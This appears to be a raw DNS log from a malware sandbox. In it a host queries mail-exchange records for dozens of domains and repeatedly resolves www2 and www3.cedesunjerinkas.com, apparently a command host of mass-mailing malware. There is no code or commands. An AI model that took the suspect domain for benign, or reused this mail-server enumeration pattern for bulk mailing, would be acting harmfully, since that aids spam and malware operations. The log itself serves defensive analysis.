Jan 7, 2022 15:56:47.418025017 CET	8.8.8.8	192.168.2.4	0xb01a	No error (0)	aspmx2.googlemail.com		142.250.150.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.424073935 CET	8.8.8.8	192.168.2.4	0xe3ff	No error (0)	mx1.mailchannels.net		34.223.157.177	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.424073935 CET	8.8.8.8	192.168.2.4	0xe3ff	No error (0)	mx1.mailchannels.net		34.215.215.23	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.432481050 CET	8.8.8.8	192.168.2.4	0xf615	Name error (3)	x.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.438976049 CET	8.8.8.8	192.168.2.4	0x8761	No error (0)	aspmx3.googlemail.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.458847046 CET	8.8.8.8	192.168.2.4	0xf46c	No error (0)	alt1.aspmx.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.459835052 CET	8.8.8.8	192.168.2.4	0xadfc	No error (0)	mxa-0028be01.gslb.pphosted.com		148.163.149.218	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.465289116 CET	8.8.8.8	192.168.2.4	0x63c4	Name error (3)	contoso.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.479643106 CET	8.8.8.8	192.168.2.4	0x1303	No error (0)	alt2.aspmx.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.496228933 CET	8.8.8.8	192.168.2.4	0xb225	Name error (3)	contoso.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.526523113 CET	8.8.8.8	192.168.2.4	0xa710	Name error (3)	kywx.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.584773064 CET	8.8.8.8	192.168.2.4	0x8543	No error (0)	mxb-0028be01.gslb.pphosted.com		148.163.149.218	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.594553947 CET	8.8.8.8	192.168.2.4	0xf57b	Name error (3)	griepp.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.620556116 CET	8.8.8.8	192.168.2.4	0x63a6	No error (0)	oopp.pl			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.643698931 CET	8.8.8.8	192.168.2.4	0x9b2a	No error (0)	oopp.pl		94.152.34.135	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.932359934 CET	8.8.8.8	192.168.2.4	0xef7b	Name error (3)	wewew.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.961863995 CET	8.8.8.8	192.168.2.4	0x6309	Name error (3)	riekk.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.995548010 CET	8.8.8.8	192.168.2.4	0x5d4e	Name error (3)	fafa.pk	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.044434071 CET	8.8.8.8	192.168.2.4	0x3099	Name error (3)	lufka.zx	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.057378054 CET	8.8.8.8	192.168.2.4	0x6e9b	Name error (3)	fanfary.pq	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.070645094 CET	8.8.8.8	192.168.2.4	0x9a0e	Server failure (2)	xara.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.073888063 CET	8.8.8.8	192.168.2.4	0x5497	Name error (3)	fajrant.qz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.091794968 CET	8.8.8.8	192.168.2.4	0xd703	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.119945049 CET	8.8.8.8	192.168.2.4	0x6328	No error (0)	fabrikam.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.129549980 CET	8.8.8.8	192.168.2.4	0xad44	No error (0)	contoso-com.mail.protection.outlook.com		104.47.51.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:48.129549980 CET	8.8.8.8	192.168.2.4	0xad44	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:48.142975092 CET	8.8.8.8	192.168.2.4	0xeb43	No error (0)	mail.fabrikam.com		131.107.55.31	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:48.510462046 CET	8.8.8.8	192.168.2.4	0xa060	No error (0)	adatum.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.543330908 CET	8.8.8.8	192.168.2.4	0x5f17	No error (0)	mail.adatum.com		131.107.88.24	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:48.730830908 CET	8.8.8.8	192.168.2.4	0x7aef	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.730830908 CET	8.8.8.8	192.168.2.4	0x7aef	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.730830908 CET	8.8.8.8	192.168.2.4	0x7aef	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.730830908 CET	8.8.8.8	192.168.2.4	0x7aef	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.730830908 CET	8.8.8.8	192.168.2.4	0x7aef	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.752460957 CET	8.8.8.8	192.168.2.4	0x420d	No error (0)	aspmx2.googlemail.com		142.250.150.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:48.773000956 CET	8.8.8.8	192.168.2.4	0x281f	No error (0)	alt1.aspmx.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:48.803617001 CET	8.8.8.8	192.168.2.4	0xb2f0	No error (0)	aspmx5.googlemail.com		173.194.202.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:48.831763983 CET	8.8.8.8	192.168.2.4	0x791a	No error (0)	aspmx4.googlemail.com		142.250.157.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:48.854979038 CET	8.8.8.8	192.168.2.4	0x8fd6	No error (0)	aspmx.l.google.com		142.250.153.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:48.888957024 CET	8.8.8.8	192.168.2.4	0xc8e4	Name error (3)	contoso.mx	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:51.447547913 CET	8.8.8.8	192.168.2.4	0xac94	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:51.490655899 CET	8.8.8.8	192.168.2.4	0xe49	No error (0)	contoso-com.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:51.490655899 CET	8.8.8.8	192.168.2.4	0xe49	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:52.231189013 CET	8.8.8.8	192.168.2.4	0xd0e0	No error (0)	litwareinc.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:52.250627041 CET	8.8.8.8	192.168.2.4	0x8059	No error (0)	smtp.litwareinc.com		96.47.154.206	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:52.979419947 CET	8.8.8.8	192.168.2.4	0x4b8b	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:53.003101110 CET	8.8.8.8	192.168.2.4	0x8348	No error (0)	contoso-com.mail.protection.outlook.com		104.47.51.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:53.003101110 CET	8.8.8.8	192.168.2.4	0x8348	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:03.890072107 CET	8.8.8.8	192.168.2.4	0xb6b2	No error (0)	www2.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:09.231527090 CET	8.8.8.8	192.168.2.4	0x7fd7	No error (0)	fabrikam.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:09.289684057 CET	8.8.8.8	192.168.2.4	0x953b	No error (0)	mail.fabrikam.com		131.107.55.31	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:09.290314913 CET	8.8.8.8	192.168.2.4	0x8434	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:09.324944019 CET	8.8.8.8	192.168.2.4	0x6cb7	No error (0)	contoso-com.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:09.324944019 CET	8.8.8.8	192.168.2.4	0x6cb7	No error (0)	contoso-com.mail.protection.outlook.com		104.47.51.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:09.903053999 CET	8.8.8.8	192.168.2.4	0xc643	No error (0)	adatum.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:09.925033092 CET	8.8.8.8	192.168.2.4	0xe8f5	No error (0)	mail.adatum.com		131.107.88.24	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.079086065 CET	8.8.8.8	192.168.2.4	0xbab3	Name error (3)	negdje.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.109105110 CET	8.8.8.8	192.168.2.4	0x97b7	Name error (3)	abcdef.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.122042894 CET	8.8.8.8	192.168.2.4	0x22e6	No error (0)	vlada.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.122042894 CET	8.8.8.8	192.168.2.4	0x22e6	No error (0)	vlada.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.122042894 CET	8.8.8.8	192.168.2.4	0x22e6	No error (0)	vlada.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.139178038 CET	8.8.8.8	192.168.2.4	0x426a	Name error (3)	netko.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.147089005 CET	8.8.8.8	192.168.2.4	0x29f5	No error (0)	ma-01.vlada.hr		195.29.173.138	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.173156023 CET	8.8.8.8	192.168.2.4	0x5a53	Name error (3)	tvrtka.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.181950092 CET	8.8.8.8	192.168.2.4	0xcab0	No error (0)	ma-02.vlada.hr		195.29.173.139	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.208798885 CET	8.8.8.8	192.168.2.4	0x629f	No error (0)	mail.vlada.hr		195.29.173.131	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.263560057 CET	8.8.8.8	192.168.2.4	0x8a0e	No error (0)	dva.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.331135035 CET	8.8.8.8	192.168.2.4	0x461a	No error (0)	mail.dva.hr		138.201.223.6	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.440351009 CET	8.8.8.8	192.168.2.4	0xe3bd	No error (0)	arb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.465926886 CET	8.8.8.8	192.168.2.4	0x76d	No error (0)	antispam.hosting-zdarma.cz		130.193.9.47	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.575268030 CET	8.8.8.8	192.168.2.4	0xcf13	Name error (3)	abcdefg.cz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.610553026 CET	8.8.8.8	192.168.2.4	0xb7d1	Name error (3)	ektro.cz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.653613091 CET	8.8.8.8	192.168.2.4	0x8180	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.653613091 CET	8.8.8.8	192.168.2.4	0x8180	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.653613091 CET	8.8.8.8	192.168.2.4	0x8180	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.653613091 CET	8.8.8.8	192.168.2.4	0x8180	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.653613091 CET	8.8.8.8	192.168.2.4	0x8180	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.677139997 CET	8.8.8.8	192.168.2.4	0x25d8	No error (0)	aspmx.l.google.com		142.250.153.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.709157944 CET	8.8.8.8	192.168.2.4	0x8f4c	No error (0)	alt2.aspmx.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.752919912 CET	8.8.8.8	192.168.2.4	0xdcaa	No error (0)	aspmx3.googlemail.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.775522947 CET	8.8.8.8	192.168.2.4	0x86c8	No error (0)	alt1.aspmx.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.818468094 CET	8.8.8.8	192.168.2.4	0x9fee	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:11.388003111 CET	8.8.8.8	192.168.2.4	0x6f8	Name error (3)	tek-astore.cz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:11.419975042 CET	8.8.8.8	192.168.2.4	0x389b	Name error (3)	somemail.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:11.455708027 CET	8.8.8.8	192.168.2.4	0x37ec	No error (0)	abc.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:11.455708027 CET	8.8.8.8	192.168.2.4	0x37ec	No error (0)	abc.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:11.475430965 CET	8.8.8.8	192.168.2.4	0xee63	No error (0)	cluster10.us.messagelabs.com		67.219.247.199	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:11.475430965 CET	8.8.8.8	192.168.2.4	0xee63	No error (0)	cluster10.us.messagelabs.com		67.219.250.209	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:11.475430965 CET	8.8.8.8	192.168.2.4	0xee63	No error (0)	cluster10.us.messagelabs.com		67.219.246.220	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:11.507730961 CET	8.8.8.8	192.168.2.4	0x566	No error (0)	cluster10a.us.messagelabs.com		54.83.87.114	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:11.507730961 CET	8.8.8.8	192.168.2.4	0x566	No error (0)	cluster10a.us.messagelabs.com		34.225.49.16	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:11.507730961 CET	8.8.8.8	192.168.2.4	0x566	No error (0)	cluster10a.us.messagelabs.com		44.198.115.56	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:12.528944969 CET	8.8.8.8	192.168.2.4	0x271f	Name error (3)	emaiserver.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:12.606715918 CET	8.8.8.8	192.168.2.4	0x8806	Name error (3)	worldwideoffices.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:12.638000965 CET	8.8.8.8	192.168.2.4	0xf23c	No error (0)	cineva.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:12.664280891 CET	8.8.8.8	192.168.2.4	0x6348	No error (0)	mail.h-email.net		34.223.6.127	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:12.664280891 CET	8.8.8.8	192.168.2.4	0x6348	No error (0)	mail.h-email.net		52.34.199.44	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:12.664280891 CET	8.8.8.8	192.168.2.4	0x6348	No error (0)	mail.h-email.net		34.212.139.205	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:12.664280891 CET	8.8.8.8	192.168.2.4	0x6348	No error (0)	mail.h-email.net		34.212.36.67	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:12.664280891 CET	8.8.8.8	192.168.2.4	0x6348	No error (0)	mail.h-email.net		54.200.93.251	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:12.664280891 CET	8.8.8.8	192.168.2.4	0x6348	No error (0)	mail.h-email.net		18.237.235.220	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:12.664280891 CET	8.8.8.8	192.168.2.4	0x6348	No error (0)	mail.h-email.net		54.190.26.211	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:12.664280891 CET	8.8.8.8	192.168.2.4	0x6348	No error (0)	mail.h-email.net		18.237.204.6	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:12.664280891 CET	8.8.8.8	192.168.2.4	0x6348	No error (0)	mail.h-email.net		54.244.49.115	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:12.664280891 CET	8.8.8.8	192.168.2.4	0x6348	No error (0)	mail.h-email.net		34.220.245.67	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:13.575648069 CET	8.8.8.8	192.168.2.4	0x9ee9	No error (0)	orice.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:13.575648069 CET	8.8.8.8	192.168.2.4	0x9ee9	No error (0)	orice.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:13.626008034 CET	8.8.8.8	192.168.2.4	0x1540	No error (0)	mxbck.leonet.it		185.175.124.58	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:13.671458006 CET	8.8.8.8	192.168.2.4	0xfe9a	No error (0)	mx.leonet.it		212.19.106.223	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:13.671458006 CET	8.8.8.8	192.168.2.4	0xfe9a	No error (0)	mx.leonet.it		212.19.106.229	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:13.964973927 CET	8.8.8.8	192.168.2.4	0x2097	Server failure (2)	orice.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:13.997431040 CET	8.8.8.8	192.168.2.4	0x1a79	No error (0)	ppp.ro			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:14.023508072 CET	8.8.8.8	192.168.2.4	0x79a9	No error (0)	ppp.ro		176.223.123.126	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:14.997292042 CET	8.8.8.8	192.168.2.4	0xedc7	No error (0)	domini.cat			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:15.203110933 CET	8.8.8.8	192.168.2.4	0x60cd	No error (0)	domini-cat.mail.protection.outlook.com		104.47.17.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.203110933 CET	8.8.8.8	192.168.2.4	0x60cd	No error (0)	domini-cat.mail.protection.outlook.com		104.47.18.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.341178894 CET	8.8.8.8	192.168.2.4	0x61d	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:15.341178894 CET	8.8.8.8	192.168.2.4	0x61d	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:15.341178894 CET	8.8.8.8	192.168.2.4	0x61d	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:15.341178894 CET	8.8.8.8	192.168.2.4	0x61d	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:15.341178894 CET	8.8.8.8	192.168.2.4	0x61d	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:15.367635012 CET	8.8.8.8	192.168.2.4	0x5630	No error (0)	aspmx.l.google.com		142.250.145.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.388756990 CET	8.8.8.8	192.168.2.4	0x3a2b	No error (0)	aspmx3.googlemail.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.414530993 CET	8.8.8.8	192.168.2.4	0xb113	No error (0)	alt2.aspmx.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.440170050 CET	8.8.8.8	192.168.2.4	0xff53	No error (0)	alt1.aspmx.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.451976061 CET	8.8.8.8	192.168.2.4	0x451b	No error (0)	openssl.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:15.465442896 CET	8.8.8.8	192.168.2.4	0xf505	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.473916054 CET	8.8.8.8	192.168.2.4	0xdeaf	No error (0)	mta.openssl.org		194.97.150.230	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.674580097 CET	8.8.8.8	192.168.2.4	0x8c9b	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:15.674580097 CET	8.8.8.8	192.168.2.4	0x8c9b	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:15.674580097 CET	8.8.8.8	192.168.2.4	0x8c9b	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:15.674580097 CET	8.8.8.8	192.168.2.4	0x8c9b	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:15.674580097 CET	8.8.8.8	192.168.2.4	0x8c9b	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:15.694533110 CET	8.8.8.8	192.168.2.4	0x2a01	No error (0)	aspmx.l.google.com		108.177.127.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.716394901 CET	8.8.8.8	192.168.2.4	0x1575	No error (0)	alt2.aspmx.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.744334936 CET	8.8.8.8	192.168.2.4	0x339b	No error (0)	aspmx3.googlemail.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.763864994 CET	8.8.8.8	192.168.2.4	0xdaea	No error (0)	alt1.aspmx.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:15.792212009 CET	8.8.8.8	192.168.2.4	0x2e05	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:16.713515043 CET	8.8.8.8	192.168.2.4	0x7c29	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:27.166677952 CET	8.8.8.8	192.168.2.4	0x535d	No error (0)	www2.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:37.936052084 CET	8.8.8.8	192.168.2.4	0x49ca	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.936052084 CET	8.8.8.8	192.168.2.4	0x49ca	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.936052084 CET	8.8.8.8	192.168.2.4	0x49ca	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.936052084 CET	8.8.8.8	192.168.2.4	0x49ca	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.936052084 CET	8.8.8.8	192.168.2.4	0x49ca	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.936052084 CET	8.8.8.8	192.168.2.4	0x49ca	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.936052084 CET	8.8.8.8	192.168.2.4	0x49ca	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.936052084 CET	8.8.8.8	192.168.2.4	0x49ca	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.942615986 CET	8.8.8.8	192.168.2.4	0xedfc	No error (0)	netcom.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.942615986 CET	8.8.8.8	192.168.2.4	0xedfc	No error (0)	netcom.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.942615986 CET	8.8.8.8	192.168.2.4	0xedfc	No error (0)	netcom.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.942615986 CET	8.8.8.8	192.168.2.4	0xedfc	No error (0)	netcom.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.956501961 CET	8.8.8.8	192.168.2.4	0x99eb	Name error (3)	src.dec.com	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.957303047 CET	8.8.8.8	192.168.2.4	0x4254	No error (0)	pb-mx9.pobox.com		64.147.108.50	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:37.966423035 CET	8.8.8.8	192.168.2.4	0x664d	No error (0)	mx01.oxsus-vadesecure.net		51.81.57.58	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:37.969101906 CET	8.8.8.8	192.168.2.4	0xc4f9	No error (0)	cl.cam.ac.uk			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.979834080 CET	8.8.8.8	192.168.2.4	0x7b50	No error (0)	pb-mx23.pobox.com		173.228.157.42	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:37.987813950 CET	8.8.8.8	192.168.2.4	0x7857	Name error (3)	bryson.demon.co.uk	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:37.992747068 CET	8.8.8.8	192.168.2.4	0x20e1	No error (0)	mx.cam.ac.uk		131.111.8.149	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:37.992747068 CET	8.8.8.8	192.168.2.4	0x20e1	No error (0)	mx.cam.ac.uk		131.111.8.146	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:37.992747068 CET	8.8.8.8	192.168.2.4	0x20e1	No error (0)	mx.cam.ac.uk		131.111.8.147	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:37.992747068 CET	8.8.8.8	192.168.2.4	0x20e1	No error (0)	mx.cam.ac.uk		131.111.8.148	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:37.995445967 CET	8.8.8.8	192.168.2.4	0x7be	No error (0)	mx02.oxsus-vadesecure.net		51.81.57.59	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.004293919 CET	8.8.8.8	192.168.2.4	0x6c0c	No error (0)	pb-mx20.pobox.com		173.228.157.39	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.021822929 CET	8.8.8.8	192.168.2.4	0xbd87	No error (0)	mx03.oxsus-vadesecure.net		51.81.242.59	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.027370930 CET	8.8.8.8	192.168.2.4	0x85ec	No error (0)	northcoast.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:38.027370930 CET	8.8.8.8	192.168.2.4	0x85ec	No error (0)	northcoast.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:38.027370930 CET	8.8.8.8	192.168.2.4	0x85ec	No error (0)	northcoast.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:38.027370930 CET	8.8.8.8	192.168.2.4	0x85ec	No error (0)	northcoast.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:38.028203964 CET	8.8.8.8	192.168.2.4	0xf1f7	No error (0)	pb-mx14.pobox.com		64.147.108.55	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.041440010 CET	8.8.8.8	192.168.2.4	0x381a	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:38.041440010 CET	8.8.8.8	192.168.2.4	0x381a	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:38.041440010 CET	8.8.8.8	192.168.2.4	0x381a	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:38.041440010 CET	8.8.8.8	192.168.2.4	0x381a	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:38.041440010 CET	8.8.8.8	192.168.2.4	0x381a	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:38.043629885 CET	8.8.8.8	192.168.2.4	0x720c	No error (0)	theriver.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:38.047394037 CET	8.8.8.8	192.168.2.4	0xb1ec	No error (0)	mx04.oxsus-vadesecure.net		51.81.242.150	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.057533979 CET	8.8.8.8	192.168.2.4	0x945a	No error (0)	pb-mx22.pobox.com		173.228.157.41	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.063870907 CET	8.8.8.8	192.168.2.4	0x2458	No error (0)	aspmx.l.google.com		108.177.119.26	A (IP address)	IN (0x0001)
